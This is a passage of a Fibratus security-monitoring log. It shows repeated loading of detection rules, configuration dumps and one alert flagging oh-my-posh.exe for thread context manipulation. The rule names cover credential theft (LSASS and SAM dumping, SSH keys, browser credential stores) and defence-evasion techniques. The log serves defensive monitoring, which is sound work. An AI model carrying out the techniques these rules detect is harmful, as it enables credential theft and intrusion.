C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T10:18:40+01:00 level=info msg=bootstrapping with pid 8376. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T10:18:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] port=>25 content-type=>text/html use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true buffer-size=>512 min-buffers=>16 enable-thread=>true enable-handle=>false enable-audit-api=>true enable-mem=>false enable-fileio=>true enable-net=>true enable-vamap=>true enable-threadpool=>false enable-registry=>true enable-dns=>false stack-enrichment=>true max-buffers=>36 flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 formatter=>text level=>info max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ method=>POST timeout=>5s tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enabled=>false enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ enabled=>false flush-period=>1s servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s template-name=>fibratus sniff=>false healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s timeout=>5s] amqp=>[ durable=>false exchange-type=>topic delivery-mode=>transient exchange=>fibratus timeout=>5s vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus passive=>false url=>amqp://localhost:5672 enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true scan-timeout=>10s excluded-files=>[] skip-registry=>false enabled=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T10:18:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:18:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:20:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T10:20:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:20:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:20:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_manipulation_from_exception_handler.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T10:20:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T10:20:17+01:00 level=info msg=bootstrapping with pid 7024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T10:20:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-threadpool=>false enable-vamap=>true enable-registry=>true min-buffers=>16 max-buffers=>36 enable-fileio=>true flush-interval=>1s enable-mem=>false enable-audit-api=>true buffer-size=>512 enable-image=>true stack-enrichment=>true enable-thread=>true enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ http=>[ enabled=>false method=>POST serializer=>json endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] amqp=>[ url=>amqp://localhost:5672 durable=>false passive=>false timeout=>5s exchange=>fibratus enabled=>false vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus delivery-mode=>transient] elasticsearch=>[ flush-period=>1s enabled=>false sniff=>false gzip-compression=>false trace-log=>false healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-timeout=>5s template-name=>fibratus index-name=>fibratus timeout=>5s]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false excluded-procs=>[] skip-files=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] enabled=>false scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T10:20:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:20:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:20:23+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 277434 + Pid: 16724 + Tid: 18024 + Type: SetThreadContext + CPU: 4 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-05 10:20:21.8612917 +0100 CET + Params: status➜ Success + Metadata: rule.name: Thread context manipulation from exception handler, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 16724 + Ppid: 13184 + Name: oh-my-posh.exe + Cmdline: + Exe: C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin\oh-my-posh.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-05T10:20:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T10:20:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:20:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T13:20:35+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T13:20:35+01:00 level=info msg=loading rule from 